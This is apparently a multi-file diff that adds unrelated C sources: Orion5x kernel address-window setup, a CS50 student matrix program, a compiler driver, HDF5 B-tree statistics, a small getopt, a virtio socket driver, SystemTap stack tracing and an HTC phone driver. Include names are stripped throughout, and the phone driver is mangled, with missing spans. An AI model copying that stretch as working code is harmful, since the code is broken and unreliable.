machine-setup.c according to + * specific board population (by using orion5x_setup_*_win()). + * + * Non-CPU Masters address decoding -- + * Unlike the CPU, we setup the access from Orion's master interfaces to DDR + * banks only (the typical use case). + * Setup access for each master to DDR is issued by platform device setup. + */ + +/* + * Generic Address Decode Windows bit settings + */ +#define TARGET_DDR 0 +#define TARGET_DEV_BUS 1 +#define TARGET_PCI 3 +#define TARGET_PCIE 4 +#define ATTR_PCIE_MEM 0x59 +#define ATTR_PCIE_IO 0x51 +#define ATTR_PCIE_WA 0x79 +#define ATTR_PCI_MEM 0x59 +#define ATTR_PCI_IO 0x51 +#define ATTR_DEV_CS0 0x1e +#define ATTR_DEV_CS1 0x1d +#define ATTR_DEV_CS2 0x1b +#define ATTR_DEV_BOOT 0xf + +/* + * Helpers to get DDR bank info + */ +#define DDR_BASE_CS(n) ORION5X_DDR_REG(0x1500 + ((n) << 3)) +#define DDR_SIZE_CS(n) ORION5X_DDR_REG(0x1504 + ((n) << 3)) + +/* + * CPU Address Decode Windows registers + */ +#define CPU_WIN_CTRL(n) ORION5X_BRIDGE_REG(0x000 | ((n) << 4)) +#define CPU_WIN_BASE(n) ORION5X_BRIDGE_REG(0x004 | ((n) << 4)) +#define CPU_WIN_REMAP_LO(n) ORION5X_BRIDGE_REG(0x008 | ((n) << 4)) +#define CPU_WIN_REMAP_HI(n) ORION5X_BRIDGE_REG(0x00c | ((n) << 4)) + + +struct mbus_dram_target_info orion5x_mbus_dram_info; + +static int __init orion5x_cpu_win_can_remap(int win) +{ + u32 dev, rev; + + orion5x_pcie_id(&dev, &rev); + if ((dev == MV88F5281_DEV_ID && win < 4) + || (dev == MV88F5182_DEV_ID && win < 2) + || (dev == MV88F5181_DEV_ID && win < 2)) + return 1; + + return 0; +} + +static void __init setup_cpu_win(int win, u32 base, u32 size, + u8 target, u8 attr, int remap) +{ + orion5x_write(CPU_WIN_BASE(win), base & 0xffff0000); + orion5x_write(CPU_WIN_CTRL(win), + ((size - 1) & 0xffff0000) | (attr << 8) | (target << 4) | 1); + + if (orion5x_cpu_win_can_remap(win)) { + if (remap < 0) + remap = base; + + orion5x_write(CPU_WIN_REMAP_LO(win), remap & 0xffff0000); + orion5x_write(CPU_WIN_REMAP_HI(win), 0); + } +} + +void __init orion5x_setup_cpu_mbus_bridge(void) +{ + int i; + int cs; + + /* + * First, disable and clear windows. + */ + for (i = 0; i < 8; i++) { + orion5x_write(CPU_WIN_BASE(i), 0); + orion5x_write(CPU_WIN_CTRL(i), 0); + if (orion5x_cpu_win_can_remap(i)) { + orion5x_write(CPU_WIN_REMAP_LO(i), 0); + orion5x_write(CPU_WIN_REMAP_HI(i), 0); + } + } + + /* + * Setup windows for PCI+PCIe IO+MEM space. + */ + setup_cpu_win(0, ORION5X_PCIE_IO_PHYS_BASE, ORION5X_PCIE_IO_SIZE, + TARGET_PCIE, ATTR_PCIE_IO, ORION5X_PCIE_IO_BUS_BASE); + setup_cpu_win(1, ORION5X_PCI_IO_PHYS_BASE, ORION5X_PCI_IO_SIZE, + TARGET_PCI, ATTR_PCI_IO, ORION5X_PCI_IO_BUS_BASE); + setup_cpu_win(2, ORION5X_PCIE_MEM_PHYS_BASE, ORION5X_PCIE_MEM_SIZE, + TARGET_PCIE, ATTR_PCIE_MEM, -1); + setup_cpu_win(3, ORION5X_PCI_MEM_PHYS_BASE, ORION5X_PCI_MEM_SIZE, + TARGET_PCI, ATTR_PCI_MEM, -1); + + /* + * Setup MBUS dram target info. + */ + orion5x_mbus_dram_info.mbus_dram_target_id = TARGET_DDR; + + for (i = 0, cs = 0; i < 4; i++) { + u32 base = readl(DDR_BASE_CS(i)); + u32 size = readl(DDR_SIZE_CS(i)); + + /* + * Chip select enabled? + */ + if (size & 1) { + struct mbus_dram_window *w; + + w = &orion5x_mbus_dram_info.cs[cs++]; + w->cs_index = i; + w->mbus_attr = 0xf & ~(1 << i); + w->base = base & 0xff000000; + w->size = (size | 0x00ffffff) + 1; + } + } + orion5x_mbus_dram_info.num_cs = cs; +} + +void __init orion5x_setup_dev_boot_win(u32 base, u32 size) +{ + setup_cpu_win(4, base, size, TARGET_DEV_BUS, ATTR_DEV_BOOT, -1); +} + +void __init orion5x_setup_dev0_win(u32 base, u32 size) +{ + setup_cpu_win(5, base, size, TARGET_DEV_BUS, ATTR_DEV_CS0, -1); +} + +void __init orion5x_setup_dev1_win(u32 base, u32 size) +{ + setup_cpu_win(6, base, size, TARGET_DEV_BUS, ATTR_DEV_CS1, -1); +} + +void __init orion5x_setup_dev2_win(u32 base, u32 size) +{ + setup_cpu_win(7, base, size, TARGET_DEV_BUS, ATTR_DEV_CS2, -1); +} + +void __init orion5x_setup_pcie_wa_win(u32 base, u32 size) +{ + setup_cpu_win(7, base, size, TARGET_PCIE, ATTR_PCIE_WA, -1); +} diff --git a/pool/shard011/C/0142146_bill8.c b/pool/shard011/C/0142146_bill8.c new file mode 100644 index 0000000000000000000000000000000000000000..31a5e9310b30000efad3d68e4d6a9c68619af9c8 --- /dev/null +++ b/pool/shard011/C/0142146_bill8.c @@ -0,0 +1,70 @@ +#include +#include +#include +#include "cs50.h" + +int n; + +void print_array(int arr[][n], int length){ + for(int i = 0; i < length; i++) { + for(int j = 0; j < length; j++) { + printf("%d ", arr[i][j]); + } + printf("\n"); + } +} + +int check(int matrix[][n], int p1, int p2) { + // bu sadece p1'in p2'den kucuk oldugu durumlarda calisir. cunku dongu matrix icin soldan saga dogru gidiyor + // p1 eger p2'den buyuk olursa, dongunun sagdan sola dogru gitmesi gerek. + //knk bugun uyandıktan sonra biraz uğraştım kodlar yunus1 de bide 0.60 puan aldık ondan + // gordum :D + // p1 p2den buyukse ters cevirmek yerine dongu sagdan sola giderse daha iyi olur + // olabilir ama for dongusunu nasıl ters cevirecen bi düşün bakalım + //bende daha iyi bişey bulursam denicem sen devam et + // en amelece çözüm: if içerisinde küçükten büyüğe giden bir döngü, else içerisinde büyükten küçüğe giden döngü + int result = 0; + for(int i = 0; i <= p2; i++) { + if(i == p1) + continue; + if(matrix[i][p2] == 1 && matrix[i][p1] == 1) + result++; + else + return -1; + } + return result; +} + +int check_caller(int matrix[][n], int p1, int p2) { + if(matrix[p1][p2] == 1 || matrix[p2][p1] == 1) + return 1; + else + return check(matrix, p1, p2); +} + +int main() { + n = GetInt(); + char str[20]; + char* word; + int matrix[n][n]; + int j; + + // converts the matrix input from string to an integer array + for(int i = 0 ; i < n ; i++){ + j = 0; + fgets(str, 20, stdin); + word = strtok(str, "\n ,"); + while(word != NULL) { + matrix[i][j] = (int) (strtol(word, NULL, 10)); + word = strtok(NULL, "\n ,"); + j++; + } + } + + // connections to check + int p1 = GetInt(); + int p2 = GetInt(); + + printf("Result: %d\n", check_caller(matrix, p1, p2)); + return 0; +} diff --git a/pool/shard011/C/0142147_main.c b/pool/shard011/C/0142147_main.c new file mode 100644 index 0000000000000000000000000000000000000000..ae6dfd8deb6b71029e12ed7cb6460fc471503f3c --- /dev/null +++ b/pool/shard011/C/0142147_main.c @@ -0,0 +1,302 @@ +#include +#include +#include "token.h" +#include "lexer.h" +#include "parseArgs.h" +#include "errorHandler.h" +#include "tree.h" +#include "symbolTable.h" +#include "popSymbolTable.h" +#include "checkTypes.h" +#include "parser.h" +#include "intermediateCode.h" +#include "main.h" + + +/* Our argp parser. */ +extern char doc[]; +extern char args_doc[]; +extern struct argp_option options[]; +static struct argp argp = {options, parse_opt, args_doc, doc}; + +/* Lexer and parser information */ +extern Token* currentToken; +extern char* currentFile; +extern TreeNode* FinalParseTree; +extern SymbolTable* globalTable; +extern int yylex_destroy(); +TokenList* tokens; +int tokenCount = 0; +Arguments arguments; +int dump = 0; + + +/* main() + * Parameters: + * Purpose: Opens input file, + * parses arguments + * - to call various printing functions, + * Calls lexical analysis functions, + * Calls syntax analysis functions, + * Calls type checking function, + * Calls intermediate code generation functions, + */ +int main(int argc, char** argv) +{ + /* Default values for arguments. */ + arguments.lex = 0; + arguments.tree = 0; + arguments.silent = 0; + arguments.verbose = 0; + arguments.type = 0; + arguments.tables = 0; + arguments.dump = 0; + arguments.output_file = "a.out"; + arguments.argCount = 0; + + /* Parse our arguments; every option seen by parse_opt will + be reflected in the arguments struct. */ + argp_parse(&argp, argc, argv, 0, 0, &arguments); + + dump = arguments.dump; + + if(arguments.verbose && !arguments.silent) + { + printArgs(arguments); + } + + /* After parsing, non '-' options are left. + These should be file names. */ + if(arguments.lex && !arguments.silent) + { + tokens = createTokenList(); + lexAllFiles(arguments.args, arguments.argCount); + printLexStruct(); + freeTokenList(tokens); + } + else + { + parseAllFiles(arguments.args, arguments.argCount); + } + + exit(0); +} + +/* lexAllFiles() + * Parameters: + * arguments: Name of files to parse. + * argCount: Number of input files. + * Purpose: Performs only lexical analysis of all input files. + * Creates tokens and adds them to the global token list. + */ +void lexAllFiles(char** arguments, int argCount) +{ + int i = 0; + for (i = 0; i < argCount; i++) + { + FILE* lexFile; + if ((lexFile = fopen(arguments[i], "r"))) + { + lexSingleFile(lexFile, arguments[i]); + printf("done with file %s,\n",arguments[i]); + fclose(lexFile); + } + else + { + Error error; + error.file = strdup(arguments[i]); + error.lineNo = 0; + error.errorCode = FILENOTFOUND; + handleError(error); + } + } +} + +/* lexSingleFile() + * Parameters: + * lexFile: File pointer to input file. + * fileName: Name of the file to be lex'd + * Purpose: Peforms lexical analysis on a single file. + * Only creates tokens and stores them in the global token list. + */ +void lexSingleFile(FILE* lexFile, char* fileName) +{ + currentFile = fileName; + yyin = lexFile; + int tokenType = 0; + + while ((tokenType = yylex()) != 0) + { + addTokenToList(); + } + + yylex_destroy(); +} + +/* addTokenToList() + * Parameters: + * Purpose: Adds single token to global token list. + */ +void addTokenToList() +{ + TokenList* tl = tokens; + + if (tokenCount > 0) + { + int i = 0; + // Move to the last (empty) Token + for (i = 0; i < tokenCount - 1; i++) + { + tl = tl->next; + } + + // Allocate space for the this TokenList object. + tl->next = createTokenList(); + // Allocate space for this Token. + tl->next->t = currentToken; + // Move to this Token. + tl = tl->next; + } + else + { + // Allocate space for this Token in the TokenList. + tl->t = currentToken; + } + + tokenCount++; +} + +/* parseAllFiles() + * Parameters: + * arguments: Names of files to parse. + * argCount: Number of file names recieved. + * Purpose: Parses all files and creates syntax tree. + */ +void parseAllFiles(char** arguments, int argCount) +{ + int i = 0; + for (i = 0; i < argCount; i++) + { + FILE* parseFile; + if ((parseFile = fopen(arguments[i], "r"))) + { + parseSingleFile(parseFile, arguments[i]); + fclose(parseFile); + } + else + { + Error error; + error.file = strdup(arguments[i]); + error.lineNo = 0; + error.errorCode = FILENOTFOUND; + handleError(error); + } + } +} + +/* parseSingleFile() + * Parameters: + * parseFile: File pointer to file to parse. + * fileName: Name of file to parse. + * Purpose: Parses single file and creates syntax tree. + */ +void parseSingleFile(FILE* parseFile, char* fileName) +{ + currentFile = fileName; + yyin = parseFile; + while (!feof(parseFile)) + { + yyparse(); + } + + yylex_destroy(); + + if(FinalParseTree != NULL) + { + if(arguments.tree) + { + preOrder(FinalParseTree,printTree); + } + else + { + handleLibraryIncludes(); + preOrder(FinalParseTree,populateSymbolTable); + scopeSensitivePostOrder(FinalParseTree,checkScopesForChange,restoreScope,checkTypes); + + if(arguments.type) + { + preOrder(FinalParseTree,printTreeTypes); + } + + calcSizesAndOffsets(globalTable); + + if(arguments.tables) + { + printf("------------------------------------------------------------\n"); + printf("--------------- SYMBOL TABLES FOR FILE '%s' ---------------\n",fileName); + printf("------------------------------------------------------------\n\n"); + printSymbolTableHeader(globalTable,0); + printTable(globalTable); + } + + scopeSensitivePostOrder(FinalParseTree,checkScopesForChange,restoreScope,genFirsts); + scopeSensitivePreOrder(FinalParseTree,checkScopesForChange,restoreScope,genFollows); + scopeSensitivePreOrder(FinalParseTree,checkScopesForChange,restoreScope,genTrueFalse); + scopeSensitivePostOrder(FinalParseTree,checkScopesForChange,restoreScope,genPlace); + //preOrder(FinalParseTree,printTreeAttr); + scopeSensitivePostOrder(FinalParseTree,checkScopesForChange,restoreScope,genCode); + + clearTables(); + } + + Instr* finalList = FinalParseTree->code; + appendLastLabel(finalList,FinalParseTree); + FixLabels(finalList); + Instr* strReg = getStringReg(FinalParseTree,1); + Instr* floatReg = getFloatReg(FinalParseTree,1); + Instr* charReg = getCharReg(FinalParseTree,1); + Instr* libStr = getLibStringReg(); + finalList = concat(strReg,finalList); + finalList = concat(floatReg,finalList); + finalList = concat(charReg,finalList); + finalList = concat(libStr,finalList); + freeTree(FinalParseTree); + + // Everything worked great. Now write this out to a file. + //printInstr(finalList); + writeToFile(finalList,fileName); + } +} + + +/* printLexStruct() + * Parameters: + * Purpose: Prints the global token list. + */ +void printLexStruct() +{ + TokenList* list = tokens; + + //Category Text Lineno Filename Ival/Sval + printf("%-12s%-12s%-12s%-12s%-12s\n", "Category", "Text", "Lineno", "Filename", "Ival/Sval"); + printf("------------------------------------------------------------\n"); + + int i = 0; + for (i = 0; i < tokenCount; i++) + { + if (list->t->sval != NULL) + { + printf("%- 12d%-12.12s%- 12d%-12s%-12s\n", list->t->category, list->t->text, list->t->lineNo, list->t->fileName, list->t->sval); + } + else if (list->t->ival != 0) + { + printf("%- 12d%-12.12s%- 12d%-12s%- 12d\n", list->t->category, list->t->text, list->t->lineNo, list->t->fileName, list->t->ival); + } + else + { + printf("%- 12d%-12.12s%- 12d%-12s\n", list->t->category, list->t->text, list->t->lineNo, list->t->fileName); + } + + list = list->next; + } +} diff --git a/pool/shard011/C/0142148_H5B2stat.c b/pool/shard011/C/0142148_H5B2stat.c new file mode 100644 index 0000000000000000000000000000000000000000..3c4c865a615f405aab3fd8dda64ca33dca234297 --- /dev/null +++ b/pool/shard011/C/0142148_H5B2stat.c @@ -0,0 +1,150 @@ +/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * + * Copyright by The HDF Group. * + * Copyright by the Board of Trustees of the University of Illinois. * + * All rights reserved. * + * * + * This file is part of HDF5. The full HDF5 copyright notice, including * + * terms governing use, modification, and redistribution, is contained in * + * the files COPYING and Copyright.html. COPYING can be found at the root * + * of the source code distribution tree; Copyright.html can be found at the * + * root level of an installed copy of the electronic HDF5 document set and * + * is linked from the top-level documents page. It can also be found at * + * http://hdfgroup.org/HDF5/doc/Copyright.html. If you do not have * + * access to either file, you may request a copy from help@hdfgroup.org. * + * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ + +/* Programmer: Quincey Koziol + * Monday, March 6, 2006 + * + * Purpose: v2 B-tree metadata statistics functions. + * + */ + +/****************/ +/* Module Setup */ +/****************/ + +#define H5B2_PACKAGE /*suppress error about including H5B2pkg */ + + +/***********/ +/* Headers */ +/***********/ +#include "H5private.h" /* Generic Functions */ +#include "H5B2pkg.h" /* v2 B-trees */ +#include "H5Eprivate.h" /* Error handling */ + + +/****************/ +/* Local Macros */ +/****************/ + + +/******************/ +/* Local Typedefs */ +/******************/ + + +/********************/ +/* Package Typedefs */ +/********************/ + + +/********************/ +/* Local Prototypes */ +/********************/ + + +/*********************/ +/* Package Variables */ +/*********************/ + + +/*****************************/ +/* Library Private Variables */ +/*****************************/ + + +/*******************/ +/* Local Variables */ +/*******************/ + + +/*------------------------------------------------------------------------- + * Function: H5B2_stat_info + * + * Purpose: Retrieve metadata statistics for a v2 B-tree + * + * Return: Success: non-negative + * Failure: negative + * + * Programmer: Quincey Koziol + * Monday, March 6, 2006 + * + *------------------------------------------------------------------------- + */ +herr_t +H5B2_stat_info(H5B2_t *bt2, H5B2_stat_t *info) +{ + FUNC_ENTER_NOAPI_NOINIT_NOERR + + /* Check arguments. */ + HDassert(info); + + /* Get information about the B-tree */ + info->depth = bt2->hdr->depth; + info->nrecords = bt2->hdr->root.all_nrec; + + FUNC_LEAVE_NOAPI(SUCCEED) +} /* H5B2_stat_info() */ + + +/*------------------------------------------------------------------------- + * Function: H5B2_size + * + * Purpose: Iterate over all the records in the B-tree, collecting + * storage info. + * + * Return: non-negative on success, negative on error + * + * Programmer: Vailin Choi + * June 19 2007 + * + *------------------------------------------------------------------------- + */ +herr_t +H5B2_size(H5B2_t *bt2, hid_t dxpl_id, hsize_t *btree_size) +{ + H5B2_hdr_t *hdr; /* Pointer to the B-tree header */ + herr_t ret_value = SUCCEED; /* Return value */ + + FUNC_ENTER_NOAPI(FAIL) + + /* Check arguments. */ + HDassert(bt2); + HDassert(btree_size); + + /* Set the shared v2 B-tree header's file context for this operation */ + bt2->hdr->f = bt2->f; + + /* Get the v2 B-tree header */ + hdr = bt2->hdr; + + /* Add size of header to B-tree metadata total */ + *btree_size += hdr->hdr_size; + + /* Iterate through records */ + if(hdr->root.node_nrec > 0) { + /* Check for root node being a leaf */ + if(hdr->depth == 0) + *btree_size += hdr->node_size; + else + /* Iterate through nodes */ + if(H5B2_node_size(hdr, dxpl_id, hdr->depth, &hdr->root, btree_size) < 0) + HGOTO_ERROR(H5E_BTREE, H5E_CANTLIST, FAIL, "node iteration failed") + } /* end if */ + +done: + FUNC_LEAVE_NOAPI(ret_value) +} /* H5B2_size() */ + diff --git a/pool/shard011/C/0142149_getopt.c b/pool/shard011/C/0142149_getopt.c new file mode 100644 index 0000000000000000000000000000000000000000..4abe92a1367d79168fe6e7234c1bf2ddbbc18510 --- /dev/null +++ b/pool/shard011/C/0142149_getopt.c @@ -0,0 +1,98 @@ +/**************************************************************************** + * Copyright (c) 2012-2013, the Konoha project authors. All rights reserved. + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; + * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, + * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR + * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF + * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + ***************************************************************************/ + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +char *optarg = 0; +int optind = 1; +int optopt = 0; +int opterr = 0; +int optreset = 0; + +struct option { + char *name; + int has_arg; + int *flag; + int val; +}; + +/* The has_arg field should be one of: */ +enum { + no_argument, /* no argument to the option is expect */ + required_argument, /* an argument to the option is required */ + optional_argument, /* an argument to the option may be presented */ +}; + +static int getopt_long(int argc, char * const *argv, const char *optstring, const struct option *longopts, int *longindex) +{ + if(optind < argc) { + char *arg = argv[optind]; + if(arg == 0) + return -1; + if(arg[0] == '-' && arg[1] == '-') { + const struct option *opt = longopts; + arg += 2; + while(opt->name) { + char *end = strchr(arg, '='); + if(end == 0 && opt->has_arg == no_argument) { + if(strcmp(arg, opt->name) == 0) + *longindex = opt - longopts; + optind++; + return opt->val; + } + if(strncmp(arg, opt->name, end - arg) == 0) { + *longindex = opt - longopts; + optarg = end+1; + optind++; + return opt->val; + } + opt++; + } + } + else if(arg[0] == '-') { + arg += 1; + const char *c = optstring; + while(*c != 0) { + if(*c == arg[0]) { + if(*(c+1) == ':' && arg[1] == '=') { + optarg = arg+2; + } + optind++; + return arg[0]; + } + c++; + } + } + } + return -1; +} + +#ifdef __cplusplus +} /* extern "C" */ +#endif diff --git a/pool/shard011/C/0142150_viowsk.c b/pool/shard011/C/0142150_viowsk.c new file mode 100644 index 0000000000000000000000000000000000000000..39289d439a1ed04bdae405117f40e4d3cc01f66e --- /dev/null +++ b/pool/shard011/C/0142150_viowsk.c @@ -0,0 +1,142 @@ +/* + * Main library file contained exported functions + * + * Copyright (c) 2021 Virtuozzo International GmbH + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met : + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and / or other materials provided with the distribution. + * 3. Neither the names of the copyright holders nor the names of their contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED.IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include "precomp.h" +#include "viowsk.h" +#include "..\inc\vio_wsk.h" + +#ifdef ALLOC_PRAGMA +#pragma alloc_text (PAGE, VioWskRegister) +#pragma alloc_text (PAGE, VioWskDeregister) +#endif + +_Must_inspect_result_ +NTSTATUS +VioWskRegister( + _In_ PWSK_CLIENT_NPI WskClientNpi, + _Out_ PWSK_REGISTRATION WskRegistration +) +{ + PVIOWSK_REG_CONTEXT pContext; + + PAGED_CODE(); + + if (!WskClientNpi || !WskRegistration) + return STATUS_INVALID_PARAMETER; + + pContext = ExAllocatePoolWithTag(NonPagedPoolNx, + sizeof(VIOWSK_REG_CONTEXT), VIOSOCK_WSK_MEMORY_TAG); + + if (!pContext) + return STATUS_INSUFFICIENT_RESOURCES; + + RtlZeroMemory(pContext, sizeof(VIOWSK_REG_CONTEXT)); + + pContext->ClientContext = WskClientNpi->ClientContext; + if (WskClientNpi->Dispatch) + RtlCopyMemory(&pContext->ClientDispatch, WskClientNpi->Dispatch, sizeof(*WskClientNpi->Dispatch)); + + WskRegistration->ReservedRegistrationContext = pContext; + + return STATUS_SUCCESS; +} + +VOID +VioWskDeregister( + _In_ PWSK_REGISTRATION WskRegistration +) +{ + if (!WskRegistration) + return; + + if (WskRegistration->ReservedRegistrationContext) + { + ExFreePool(WskRegistration->ReservedRegistrationContext); + WskRegistration->ReservedRegistrationContext = NULL; + } +} + +_Must_inspect_result_ +NTSTATUS +VioWskCaptureProviderNPI( + _In_ PWSK_REGISTRATION WskRegistration, + _In_ ULONG WaitTimeout, + _Out_ PWSK_PROVIDER_NPI WskProviderNpi +) +{ + WSK_PROVIDER_DISPATCH *Dispatch; + + UNREFERENCED_PARAMETER(WaitTimeout); + + if (!WskProviderNpi || !WskProviderNpi->Dispatch || !WskRegistration) + return STATUS_INVALID_PARAMETER; + + Dispatch = (WSK_PROVIDER_DISPATCH *)WskProviderNpi->Dispatch; + + //TODO: open viosock and handle WaitTimeout + WskProviderNpi->Client = (PWSK_CLIENT)WskRegistration; + + Dispatch->Version = MAKE_WSK_VERSION(VIOWSK_PROVIDER_VERSION, 0); + Dispatch->Reserved = 0; + + Dispatch->WskSocket = VioWskSocket; + Dispatch->WskSocketConnect = VioWskSocketConnect; + Dispatch->WskControlClient = VioWskControlClient; + Dispatch->WskGetAddressInfo = VioWskGetAddressInfo; + Dispatch->WskFreeAddressInfo = VioWskFreeAddressInfo; + Dispatch->WskGetNameInfo = VioWskGetNameInfo; + + return STATUS_SUCCESS; +} + +VOID +VioWskReleaseProviderNPI( + _In_ PWSK_REGISTRATION WskRegistration +) +{ + UNREFERENCED_PARAMETER(WskRegistration); + //TODO: close viosock +} + +_Must_inspect_result_ +NTSTATUS +VioWskQueryProviderCharacteristics( + _In_ PWSK_REGISTRATION WskRegistration, + _Out_ PWSK_PROVIDER_CHARACTERISTICS WskProviderCharacteristics +) +{ + if (!WskRegistration) + return STATUS_INVALID_PARAMETER; + + WskProviderCharacteristics->HighestVersion = MAKE_WSK_VERSION(VIOWSK_PROVIDER_VERSION, 0); + WskProviderCharacteristics->LowestVersion = MAKE_WSK_VERSION(VIOWSK_PROVIDER_VERSION, 0); + + return STATUS_SUCCESS; +} + diff --git a/pool/shard011/C/0142151_stack-x86_64.c b/pool/shard011/C/0142151_stack-x86_64.c new file mode 100644 index 0000000000000000000000000000000000000000..19bbeb47df9983308651d7f861dee36a25f92da0 --- /dev/null +++ b/pool/shard011/C/0142151_stack-x86_64.c @@ -0,0 +1,98 @@ +/* -*- linux-c -*- + * x86_64 stack tracing functions + * Copyright (C) 2005-2010 Red Hat Inc. + * + * This file is part of systemtap, and is free software. You can + * redistribute it and/or modify it under the terms of the GNU General + * Public License (GPL); either version 2, or (at your option) any + * later version. + */ + +#ifdef STAPCONF_LINUX_UACCESS_H +#include +#else +#include +#endif +#include +#define intptr_t long +#define uintptr_t unsigned long + +static int _stp_valid_pc_addr(unsigned long addr, struct task_struct *tsk) +{ + /* Just a simple check of whether the the address can be accessed + as a user space address. Zero is always bad. */ + int ok; + mm_segment_t oldfs = get_fs(); + set_fs(USER_DS); + ok = access_ok(VERIFY_READ, (long *) (intptr_t) addr, sizeof(long)); + set_fs(oldfs); + return addr != 0L && tsk != NULL ? ok : ! ok; +} + + +/* DWARF unwinder failed. Just dump intereting addresses on kernel stack. */ +#if !defined(STAPCONF_KERNEL_STACKTRACE) +static void _stp_stack_print_fallback(unsigned long stack, int verbose, int levels) +{ + unsigned long addr; + while (levels && stack & (THREAD_SIZE - 1)) { + if (unlikely(_stp_read_address(addr, (unsigned long *)stack, + KERNEL_DS)) + || ! _stp_valid_pc_addr(addr, NULL)) { + /* cannot access stack. give up. */ + return; + } + _stp_print_addr(addr, verbose | _STP_SYM_INEXACT, NULL); + levels--; + stack++; + } +} +#endif + +static void __stp_stack_print(struct pt_regs *regs, int verbose, int levels, + struct task_struct *tsk, + struct unwind_context *uwcontext, + struct uretprobe_instance *ri, int uregs_valid) +{ +#ifdef STP_USE_DWARF_UNWINDER + int start_levels = levels; + struct unwind_frame_info *info = &uwcontext->info; + int sanitize = tsk && ! uregs_valid; + arch_unw_init_frame_info(info, regs, sanitize); + + while (levels) { + int ret = unwind(uwcontext, tsk); +#ifdef STAPCONF_UPROBE_GET_PC + unsigned long maybe_pc = 0; + if (ri) { + maybe_pc = uprobe_get_pc(ri, UNW_PC(info), + UNW_SP(info)); + if (!maybe_pc) + printk("SYSTEMTAP ERROR: uprobe_get_return returned 0\n"); + else + UNW_PC(info) = maybe_pc; + } +#endif + dbug_unwind(1, "ret=%d PC=%lx SP=%lx\n", ret, UNW_PC(info), UNW_SP(info)); + if (ret == 0 && _stp_valid_pc_addr(UNW_PC(info), tsk)) { + _stp_print_addr(UNW_PC(info), verbose, tsk); + levels--; + if (UNW_PC(info) != _stp_kretprobe_trampoline) + continue; + } + /* If an error happened or we hit a kretprobe trampoline, + * and the current pc frame address is still valid kernel + * address use fallback backtrace, unless user task backtrace. + * FIXME: is there a way to unwind across kretprobe + * trampolines? PR9999. */ + if ((ret < 0 || UNW_PC(info) == _stp_kretprobe_trampoline) + && ! tsk) + _stp_stack_print_fallback(UNW_SP(info), verbose, levels); + return; + } +#else /* ! STP_USE_DWARF_UNWINDER */ + _stp_stack_print_fallback(REG_SP(regs), verbose, levels); +#endif +} + + diff --git a/pool/shard011/C/0142152_htcuniversal_phone.c b/pool/shard011/C/0142152_htcuniversal_phone.c new file mode 100644 index 0000000000000000000000000000000000000000..773769b1fd3f344055cb1553af67be932e40e942 --- /dev/null +++ b/pool/shard011/C/0142152_htcuniversal_phone.c @@ -0,0 +1,167 @@ + +/* Phone interface driver for Qualcomm MSM6250 on HTC Universal + * + * Copyright (c) 2005 SDG Systems, LLC + * + * 2005-04-21 Todd Blumer Created. + */ + +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include + +#include "htcuniversal_phone.h" + +static void phone_reset(void) +{ + asic3_set_gpio_out_b(&htcuniversal_asic3.dev, 1<dev.platform_data; + + /* configure phone UART */ + pxa_gpio_mode( GPIO_NR_HTCUNIVERSAL_PHONE_RXD_MD ); + pxa_gpio_mode( GPIO_NR_HTCUNIVERSAL_PHONE_TXD_MD ); + pxa_gpio_mode( GPIO_NR_HTCUNIVERSAL_PHONE_UART_CTS_MD ); + pxa_gpio_mode( GPIO_NR_HTCUNIVERSAL_PHONE_UART_RTS_MD ); + + funcs->configure = htcuniversal_phone_configure; + + return 0; +} + +static int +htcuniversal_phone_remove( struct platform_device *dev ) +{ + struct htcuniversal_phone_funcs *funcs = dev->dev.platform_data; + + funcs->configure = NULL; + + asic3_set_gpio_dir_b(&htcuniversal_asic3.dev, 1< + * + * Copyright (C) 2015 Rockchip Electronics Co., Ltd. + * Jeffy Chen + * + * This program is free software; you can redistribute it and/or 